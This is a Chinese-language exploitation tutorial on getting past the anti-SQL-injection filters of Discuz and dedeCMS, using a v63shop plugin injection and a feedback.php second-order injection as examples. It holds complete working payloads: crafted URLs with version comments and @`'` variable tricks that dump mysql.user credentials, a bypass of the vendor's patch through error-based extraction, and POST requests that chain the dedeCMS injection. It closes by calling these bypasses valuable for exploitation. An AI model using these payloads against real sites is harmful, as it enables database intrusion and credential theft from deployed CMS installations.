目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。
这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。
漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
function
getGoods(
$id
){
$query
= DB::query(
'select * from '
.DB::table(
'v63_goods'
).
' where `id` ='
.
$id
);
$goods
= DB::fetch(
$query
);
$goods
[
'endtime2'
] =
date
(
'Y-m-d'
,
$goods
[
'endtime'
]);
$goods
[
'price2'
] =
$goods
[
'price'
];
if
(
$goods
[
'sort'
] ==2){
$goods
[
'endtime2'
]=
date
(
'Y-m-d H:i:s'
,
$goods
[
'endtime'
]);
$query
= DB::query(
"select * from "
.DB::table(
'v63_pm'
).
" where gid='$goods[id]' order by id desc "
);
$last
= DB::fetch(
$query
);
if
(
is_array
(
$last
)){
$goods
[
'price'
] =
$last
[
'chujia'
];
$goods
[
'uid'
] =
$last
[
'uid'
];
$goods
[
'username'
] =
$last
[
'username'
];
$goods
[
'pm'
] =
$last
;
if
(time()+600>
$goods
[
'endtime'
]){
$goods
[
'endtime'
] =
$last
[time]+600;
$goods
[
'endtime2'
]=
date
(
'Y-m-d H:i:s'
,
$last
[time]+600);
}
}
}
return
$goods
;
}
|
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示: 
不过程序内置了一个_do_query_safe函数用来防注入,如图所示 
这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:
因为我们的url中出现了union select,所以会被过滤掉。
这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再进一步跟踪,它会将/**/
也去掉,然对$clean变量做过滤,如图所示
此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: 
Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示 
这里$_config['security']['querysafe']['afullnote']
默认被设置为0,重点关注这一点。
此时观察一下变量,_do_query_safe($sql)函数会将/**/
中的内容去掉,然后存到$clean中,如图所示: 
其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:
 因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/
为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  
所以注入失败。
在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'
放入sql语句当中,帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤,如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
这里跟踪一下执行的过程,如图所示:
1
|
$clean
= preg_replace(
"/'(.+?)'/s"
,
''
,
$sql
);
|
它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用
@`'` union select @`'`
这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示: 
这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示: 
不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下: 
加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:
1
2
3
|
if
(
strpos
(
$sql
,
'/'
) === false &&
strpos
(
$sql
,
'#'
) === false &&
strpos
(
$sql
,
'-- '
) === false) {
$clean
= preg_replace(
"/'(.+?)'/s"
,
''
,
$sql
);
}
|
这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
这里我引入了`'`用来隐藏第一个@字符,并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示: 
可以看到$clean变为
select * from pre_v63_goods where `id` =``
成功绕过补丁,如图所示:
 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行,代码如下所示
if($comtype == 'comments')
{
$arctitle = addslashes($title);
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。
众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
function
CheckSql(
$db_string
,
$querytype
=
'select'
)
{
global
$cfg_cookie_encode
;
$clean
=
''
;
$error
=
''
;
$old_pos
= 0;
$pos
= -1;
$log_file
= DEDEINC.
'/../data/'
.md5(
$cfg_cookie_encode
).
'_safe.txt'
;
$userIP
= GetIP();
$getUrl
= GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if
(
$querytype
==
'select'
)
{
$notallow1
=
"[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}"
;
//$notallow2 = "--|/\*";
if
(preg_match(
"/"
.
$notallow1
.
"/i"
,
$db_string
))
{
fputs
(
fopen
(
$log_file
,
'a+'
),
"$userIP||$getUrl||$db_string||SelectBreak\r\n"
);
exit
(
"<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>"
);
}
}
//完整的SQL检查
while
(TRUE)
{
$pos
=
strpos
(
$db_string
,
'\''
,
$pos
+ 1);
if
(
$pos
=== FALSE)
{
break
;
}
$clean
.=
substr
(
$db_string
,
$old_pos
,
$pos
-
$old_pos
);
while
(TRUE)
{
$pos1
=
strpos
(
$db_string
,
'\''
,
$pos
+ 1);
$pos2
=
strpos
(
$db_string
,
'\\'
,
$pos
+ 1);
if
(
$pos1
=== FALSE)
{
break
;
}
elseif
(
$pos2
== FALSE ||
$pos2
>
$pos1
)
{
$pos
=
$pos1
;
break
;
}
$pos
=
$pos2
+ 1;
}
$clean
.=
'$s$'
;
$old_pos
=
$pos
+ 1;
}
$clean
.=
substr
(
$db_string
,
$old_pos
);
$clean
= trim(
strtolower
(preg_replace(
array
(
'~\s+~s'
),
array
(
' '
),
$clean
)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if
(
strpos
(
$clean
,
'union'
) !== FALSE && preg_match(
'~(^|[^a-z])union($|[^[a-z])~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"union detect"
;
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif
(
strpos
(
$clean
,
'/*'
) > 2 ||
strpos
(
$clean
,
'--'
) !== FALSE ||
strpos
(
$clean
,
'#'
) !== FALSE)
{
$fail
= TRUE;
$error
=
"comment detect"
;
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif
(
strpos
(
$clean
,
'sleep'
) !== FALSE && preg_match(
'~(^|[^a-z])sleep($|[^[a-z])~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"slown down detect"
;
}
elseif
(
strpos
(
$clean
,
'benchmark'
) !== FALSE && preg_match(
'~(^|[^a-z])benchmark($|[^[a-z])~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"slown down detect"
;
}
elseif
(
strpos
(
$clean
,
'load_file'
) !== FALSE && preg_match(
'~(^|[^a-z])load_file($|[^[a-z])~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"file fun detect"
;
}
elseif
(
strpos
(
$clean
,
'into outfile'
) !== FALSE && preg_match(
'~(^|[^a-z])into\s+outfile($|[^[a-z])~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"file fun detect"
;
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif
(preg_match(
'~\([^)]*?select~s'
,
$clean
) != 0)
{
$fail
= TRUE;
$error
=
"sub select detect"
;
}
if
(!
empty
(
$fail
))
{
fputs
(
fopen
(
$log_file
,
'a+'
),
"$userIP||$getUrl||$db_string||$error\r\n"
);
exit
(
"<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"
);
}
else
{
return
$db_string
;
}
}
|
但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。
这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
如下SQL语句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替换为了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字符串中没有任何敏感字,成功绕过CheckSql()函数检测。
POST如下请求给feedback.php,如下所示:
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
下面再POST如下内容给feedback.php,
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
所以select user()执行了,并且可以作为msg字段输出。
在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。